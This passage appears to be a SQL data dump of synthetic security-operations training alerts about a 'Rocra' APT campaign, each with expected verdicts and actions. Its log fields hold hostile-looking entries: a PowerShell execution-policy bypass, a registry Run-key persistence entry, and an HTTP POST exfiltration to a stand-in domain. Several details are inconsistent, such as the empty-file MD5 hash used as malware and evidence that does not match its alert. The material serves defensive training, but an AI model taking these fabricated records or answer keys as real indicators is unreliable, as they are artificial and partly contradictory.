'{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Rocra APT.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Rocra backdoor executable.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"File name associated with malicious activity.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User account exhibiting unusual behavior.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(544, 'Stealthy Lateral Movement', 'high', 'Active Directory Logs', 'Rocra uses stolen credentials to move laterally within the network, searching for sensitive diplomatic and research data.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"event_id\":\"4624\",\"logon_type\":3,\"target_username\":\"jdoe\",\"target_domain\":\"CORP\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"10.10.3.15\",\"authentication_package\":\"Kerberos\",\"logon_process\":\"NtLmSsp\",\"subject_user_name\":\"admin_elevated\",\"subject_domain_name\":\"CORP\",\"subject_logon_id\":\"0x3E7\",\"hashes\":[\"f5d8ee39d9f9a6bfcf7e9e8ae281d756\"],\"event_description\":\"An account was successfully logged on.\"}', '2026-01-07 22:29:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scanning\",\"verdict\":\"internal\",\"details\":\"Internal IP used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.10.3.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"network_logs\",\"verdict\":\"internal\",\"details\":\"Destination IP for the lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"user_activity_monitoring\",\"verdict\":\"suspicious\",\"details\":\"Stolen credentials used for unauthorized access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f5d8ee39d9f9a6bfcf7e9e8ae281d756\",\"is_critical\":false,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"suspicious\",\"details\":\"Potentially associated with known APT activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(545, 'Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) Alerts', 'The final stage sees Rocra exfiltrating targeted data, including encrypted and previously deleted files, marking the success of their espionage mission.', 'Exfiltration', 'T1567 - Exfiltration Over Web Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-22T14:32:00Z\",\"event\":\"data_exfiltration\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"filename\":\"encrypted_project_files.zip\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"exfil_method\":\"HTTP POST\",\"destination_url\":\"http://malicious-domain.com/upload\",\"associated_user\":\"jdoe@company.com\",\"alert_id\":\"DLP-2023-5678\",\"indicator_of_compromise\":[\"IP:203.0.113.45\",\"HASH:b1946ac92492d2347c6235b4d2611184\",\"URL:http://malicious-domain.com/upload\"]}', '2026-01-07 22:29:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known malware samples.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-domain.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"URL used for data exfiltration in previous incidents.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.168Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:32:00Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"encrypted_project_files.zip\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"exfil_method\\\":\\\"HTTP POST\\\",\\\"destination_url\\\":\\\"http://malicious-domain.com/upload\\\",\\\"associated_user\\\":\\\"jdoe@company.com\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\",\\\"indicator_of_compromise\\\":[\\\"IP:203.0.113.45\\\",\\\"HASH:b1946ac92492d2347c6235b4d2611184\\\",\\\"URL:http://malicious-domain.com/upload\\\"]}\"},{\"timestamp\":\"2026-02-01T20:31:22.168Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:32:00Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"encrypted_project_files.zip\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"exfil_method\\\":\\\"HTTP POST\\\",\\\"destination_url\\\":\\\"http://malicious-domain.com/upload\\\",\\\"associated_user\\\":\\\"jdoe@company.com\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\",\\\"indicator_of_compromise\\\":[\\\"IP:203.0.113.45\\\",\\\"HASH:b1946ac92492d2347c6235b4d2611184\\\",\\\"URL:http://malicious-domain.com/upload\\\"]}\"},{\"timestamp\":\"2026-02-01T20:30:22.168Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:32:00Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"encrypted_project_files.zip\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"exfil_method\\\":\\\"HTTP POST\\\",\\\"destination_url\\\":\\\"http://malicious-domain.com/upload\\\",\\\"associated_user\\\":\\\"jdoe@company.com\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\",\\\"indicator_of_compromise\\\":[\\\"IP:203.0.113.45\\\",\\\"HASH:b1946ac92492d2347c6235b4d2611184\\\",\\\"URL:http://malicious-domain.com/upload\\\"]}\"},{\"timestamp\":\"2026-02-01T20:29:22.168Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:32:00Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"encrypted_project_files.zip\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"exfil_method\\\":\\\"HTTP POST\\\",\\\"destination_url\\\":\\\"http://malicious-domain.com/upload\\\",\\\"associated_user\\\":\\\"jdoe@company.com\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\",\\\"indicator_of_compromise\\\":[\\\"IP:203.0.113.45\\\",\\\"HASH:b1946ac92492d2347c6235b4d2611184\\\",\\\"URL:http://malicious-domain.com/upload\\\"]}\"},{\"timestamp\":\"2026-02-01T20:28:22.168Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:32:00Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"encrypted_project_files.zip\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"exfil_method\\\":\\\"HTTP POST\\\",\\\"destination_url\\\":\\\"http://malicious-domain.com/upload\\\",\\\"associated_user\\\":\\\"jdoe@company.com\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\",\\\"indicator_of_compromise\\\":[\\\"IP:203.0.113.45\\\",\\\"HASH:b1946ac92492d2347c6235b4d2611184\\\",\\\"URL:http://malicious-domain.com/upload\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(546, 'Suspicious Email Attachment Detected', 'high', 'Email Gateway Logs', 'A spear-phishing email containing a malicious attachment was detected targeting key personnel within the organization. The email originated from a known malicious IP address and contained a file with a suspicious hash linked to advanced persistent threat (APT) activities.', 'Initial Access', 'T1566.001', 1, 'resolved', 34, '{\"timestamp\":\"2023-10-15T08:42:00Z\",\"email_subject\":\"Urgent: Review the Attached Document\",\"source_ip\":\"203.0.113.45\",\"destination_email\":\"j.doe@organization.com\",\"attachment_name\":\"Invoice_October2023.docx\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"sender_email\":\"finance@truste-partners.com\",\"recipient_ip\":\"192.168.1.15\"}', '2026-01-07 22:33:18', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash linked to document-based malware used in spear-phishing attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"finance@truste-partners.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Email address not recognized and associated with recent phishing attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Attachment Detected\",\"date\":\"2026-02-01T20:32:22.170Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(547, 'Unauthorized Code Execution Detected', 'critical', 'Endpoint Detection and Response (EDR) System', 'Upon opening the attachment, a sophisticated malware payload is executed, initiating the deployment of espionage modules.', 'Execution', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:32:15Z\",\"event_id\":\"4625\",\"event_source\":\"Microsoft-Windows-Security-Auditing\",\"computer_name\":\"victim-machine.local\",\"user\":{\"domain\":\"victim-domain\",\"name\":\"john.doe\",\"full_name\":\"John Doe\"},\"process\":{\"name\":\"powershell.exe\",\"path\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\john.doe\\\\Documents\\\\malicious_script.ps1\"},\"network\":{\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443},\"file\":{\"name\":\"malicious_script.ps1\",\"path\":\"C:\\\\Users\\\\john.doe\\\\Documents\\\\malicious_script.ps1\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}}', '2026-01-07 22:33:18', '2026-02-16 18:18:48', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known command and control server for APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by APT groups.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual script execution detected.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User employed within the organization.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(548, 'Malware Persistence Mechanism Activated', 'high', 'System Registry Logs', 'The malware establishes persistence by modifying registry entries, allowing it to survive system reboots and maintain a foothold within the network. The registry key associated with the malware was altered to execute the malicious binary during startup.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:34Z\",\"event_id\":\"4624\",\"event_source\":\"Microsoft-Windows-Security-Auditing\",\"computer_name\":\"compromised-host.local\",\"user\":\"john.doe\",\"registry_change\":{\"key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"value_name\":\"MaliciousStartup\",\"value_data\":\"C:\\\\Windows\\\\System32\\\\evil.exe\"},\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"external_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.101\"}', '2026-01-07 22:33:18', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with APT actors.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP address associated with command and control servers.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"User account used to perform registry changes.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.172Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"john.doe\\\",\\\"registry_change\\\":{\\\"key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"MaliciousStartup\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\evil.exe\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.172Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"john.doe\\\",\\\"registry_change\\\":{\\\"key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"MaliciousStartup\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\evil.exe\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.172Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"john.doe\\\",\\\"registry_change\\\":{\\\"key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"MaliciousStartup\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\evil.exe\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.172Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"john.doe\\\",\\\"registry_change\\\":{\\\"key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"MaliciousStartup\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\evil.exe\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.172Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"john.doe\\\",\\\"registry_change\\\":{\\\"key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"MaliciousStartup\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\evil.exe\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(549, 'Anomalous Network Activity Detected', 'high', 'Network Traffic Analysis', 'Advanced lateral movement activity detected, involving Bluetooth sniffing to map and infiltrate additional devices within the local network. The malware is expanding its reach by targeting vulnerable hosts using identified Bluetooth connections.', 'Lateral Movement', 'T1570: Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"NT-4567\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"10.0.0.25\",\"external_attacker_ip\":\"203.0.113.45\",\"filename\":\"BlueSniff_v2.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"internal_user\",\"bluetooth_device\":\"00:1A:7D:DA:71:11\",\"event_type\":\"lateral_movement\",\"protocol\":\"Bluetooth\",\"description\":\"Detected suspicious Bluetooth activity attempting to discover and access local devices.\",\"action\":\"attempted lateral movement\"}', '2026-01-07 22:33:18', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local network address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local network address\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public IP\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous attacks\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used in lateral movement attacks\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"BlueSniff_v2.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable used for Bluetooth sniffing and lateral movement\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
